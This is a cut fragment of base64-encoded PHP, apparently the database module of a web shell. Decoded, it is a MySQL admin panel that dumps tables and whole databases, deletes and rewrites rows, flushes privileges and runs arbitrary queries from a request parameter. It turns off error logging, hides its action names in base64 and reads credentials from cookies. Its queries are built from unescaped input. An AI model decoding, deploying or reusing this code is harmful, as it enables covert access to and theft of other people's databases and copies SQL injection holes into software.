BlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzc